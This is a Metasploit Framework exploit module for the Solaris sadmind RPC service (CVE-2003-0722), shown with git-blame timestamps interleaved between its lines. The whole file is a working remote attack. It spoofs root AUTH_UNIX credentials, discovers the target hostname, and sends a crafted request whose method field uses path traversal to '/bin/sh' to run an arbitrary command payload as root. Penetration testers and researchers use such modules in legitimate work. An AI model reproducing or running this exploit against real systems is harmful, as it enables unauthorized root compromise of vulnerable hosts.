2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 00:00:09 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2005-11-26 00:00:09 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SunRPC
|
2005-11-26 00:00:09 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-11-26 00:00:09 +00:00
|
|
|
'Name' => 'Solaris sadmind Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This exploit targets a weakness in the default security
|
2005-11-26 00:00:09 +00:00
|
|
|
settings of the sadmind RPC application. This server is
|
|
|
|
installed and enabled by default on most versions of the
|
|
|
|
Solaris operating system.
|
2006-02-01 22:35:36 +00:00
|
|
|
|
|
|
|
Vulnerable systems include solaris 2.7, 8, and 9
|
2005-11-26 00:00:09 +00:00
|
|
|
},
|
2006-02-01 22:35:36 +00:00
|
|
|
'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 00:00:09 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
['CVE', '2003-0722'],
|
2006-02-01 22:35:36 +00:00
|
|
|
['OSVDB', '4585'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['BID', '8615'],
|
2006-02-01 22:35:36 +00:00
|
|
|
['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
|
2005-11-26 00:00:09 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2006-02-01 22:35:36 +00:00
|
|
|
'Platform' => ['unix', 'solaris'],
|
|
|
|
'Arch' => ARCH_CMD,
|
2005-11-26 00:00:09 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-02-01 22:35:36 +00:00
|
|
|
'Space' => 2000,
|
2005-11-26 00:00:09 +00:00
|
|
|
'BadChars' => "\x00",
|
2006-02-01 22:35:36 +00:00
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2005-11-26 00:00:09 +00:00
|
|
|
},
|
2006-02-01 22:35:36 +00:00
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
2005-11-26 00:00:09 +00:00
|
|
|
'DisclosureDate' => 'Sep 13 2003',
|
2006-02-01 22:35:36 +00:00
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
|
|
|
|
OptInt.new('GID', [false, 'GID to emulate', 0]),
|
|
|
|
OptInt.new('UID', [false, 'UID to emulate', 0])
|
|
|
|
], self.class
|
|
|
|
)
|
2005-11-26 00:00:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2006-02-01 22:35:36 +00:00
|
|
|
sunrpc_create('udp', 100232, 10)
|
|
|
|
sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-02-01 22:35:36 +00:00
|
|
|
if !datastore['HOSTNAME']
|
|
|
|
print_status('attempting to determine hostname')
|
2007-03-01 08:21:36 +00:00
|
|
|
response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-02-01 22:35:36 +00:00
|
|
|
if !response
|
|
|
|
print_error('no response')
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-02-01 22:35:36 +00:00
|
|
|
match = /Security exception on host (.*)\. USER/.match(response)
|
|
|
|
if match
|
|
|
|
hostname = match.captures[0]
|
|
|
|
print_status("found hostname: #{hostname}")
|
|
|
|
else
|
|
|
|
print_error('unable to determine hostname')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
else
|
|
|
|
hostname = datastore['HOSTNAME']
|
|
|
|
end
|
|
|
|
|
|
|
|
response = sadmind_request(hostname, payload.encoded)
|
|
|
|
sunrpc_destroy
|
|
|
|
|
|
|
|
if /Security exception on host/.match(response)
|
|
|
|
print_error('exploit failed')
|
|
|
|
return
|
|
|
|
else
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('exploit did not give us an error, this is good...')
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,1)
|
2006-02-01 22:35:36 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|
2005-11-26 00:00:09 +00:00
|
|
|
|
2006-02-01 22:35:36 +00:00
|
|
|
def sadmind_request(host, command)
|
|
|
|
header =
|
|
|
|
XDR.encode(0) * 7 +
|
|
|
|
XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
|
|
|
|
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
|
|
|
|
host, 'system', '../../../bin/sh')
|
|
|
|
|
|
|
|
body =
|
|
|
|
do_int('ADM_FW_VERSION', 1) +
|
|
|
|
do_string('ADM_LANG', 'C') +
|
|
|
|
do_string('ADM_REQUESTID', '00009:000000000:0') +
|
|
|
|
do_string('ADM_CLASS', 'system') +
|
|
|
|
do_string('ADM_CLASS_VERS', '2.1') +
|
|
|
|
do_string('ADM_METHOD', '../../../bin/sh') +
|
|
|
|
do_string('ADM_HOST', host) +
|
|
|
|
do_string('ADM_CLIENT_HOST', host) +
|
|
|
|
do_string('ADM_CLIENT_DOMAIN', '') +
|
|
|
|
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
|
|
|
|
do_int('ADM_FENCE', 0) +
|
|
|
|
do_string('X', '-c') +
|
|
|
|
do_string('Y', command) +
|
|
|
|
XDR.encode('netmgt_endofargs')
|
|
|
|
|
|
|
|
request = header + XDR.encode(header.length + body.length - 326) + body
|
|
|
|
|
|
|
|
ret = sunrpc_call(1, request)
|
|
|
|
return XDR.decode!(ret, Integer, Integer, String)[2]
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2006-02-01 22:35:36 +00:00
|
|
|
|
|
|
|
def do_string(str1, str2)
|
|
|
|
XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
|
|
|
|
end
|
2005-11-26 00:00:09 +00:00
|
|
|
|
2006-02-01 22:35:36 +00:00
|
|
|
def do_int(str, int)
|
|
|
|
XDR.encode(str, 3, 4, int, 0, 0)
|
|
|
|
end
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|